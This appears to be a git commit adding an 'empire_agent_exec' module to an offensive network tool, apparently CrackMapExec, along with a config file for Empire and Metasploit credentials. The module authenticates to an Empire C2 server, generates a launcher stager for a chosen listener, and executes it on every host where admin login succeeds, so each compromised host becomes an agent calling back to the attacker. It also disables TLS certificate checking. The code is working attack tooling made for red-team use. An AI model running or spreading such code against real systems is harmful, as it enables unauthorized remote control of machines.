Database now tracks which users have admin access to which hosts

Added a configuration file for specifying Empire's and Metasploits API and RPC creds Added the empire_agent_exec module: connects to Empire, generates a launcher and executes it Minor bug fixes
2026-06-06 16:34:30 +00:00 · 2016-04-08 00:25:06 -06:00
parent a1c41d97c9
commit eb4f185118
12 changed files with 293 additions and 33 deletions
@@ -0,0 +1,53 @@
+import logging
+import requests
+import sys
+
+#The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
+requests.packages.urllib3.disable_warnings()
+logging.getLogger("requests").setLevel(logging.WARNING)
+logging.getLogger("urllib3").setLevel(logging.WARNING)
+
+class CMEModule:
+    '''
+        Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
+        Module by @byt3bl33d3r
+    '''
+
+    name='Empire_Exec'
+
+    def options(self, context, module_options):
+        '''
+            LISTENER    Listener name to generate the launcher for
+        '''
+
+        if not 'LISTENER' in module_options:
+            context.log.error('LISTENER option is required!')
+            sys.exit(1)
+
+        self.empire_launcher = None
+
+        headers = {'Content-Type': 'application/json'}
+
+        #Pull the username and password from the config file
+        payload = {'username': context.conf.get('Empire', 'username'), 
+                   'password': context.conf.get('Empire', 'password')}
+
+        #Pull the host and port from the config file
+        base_url = 'https://{}:{}'.format(context.conf.get('Empire', 'api_host'), context.conf.get('Empire', 'api_port'))
+
+        r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False)
+        if r.status_code == 200:
+            token = r.json()['token']
+
+            payload = {'StagerName': 'launcher', 'Listener': module_options['LISTENER']}
+            r = requests.post(base_url + '/api/stagers?token={}'.format(token), json=payload, headers=headers, verify=False)
+            self.empire_launcher = r.json()['launcher']['Output']
+
+            context.log.success("Successfully generated launcher for listener '{}'".format(module_options['LISTENER']))
+        else:
+            context.log.error("Error authenticating to Empire's RESTful API server!")
+
+    def on_admin_login(self, context, connection):
+        if self.empire_launcher:
+            connection.execute(self.empire_launcher)
+            context.log.success('Executed Empire Launcher')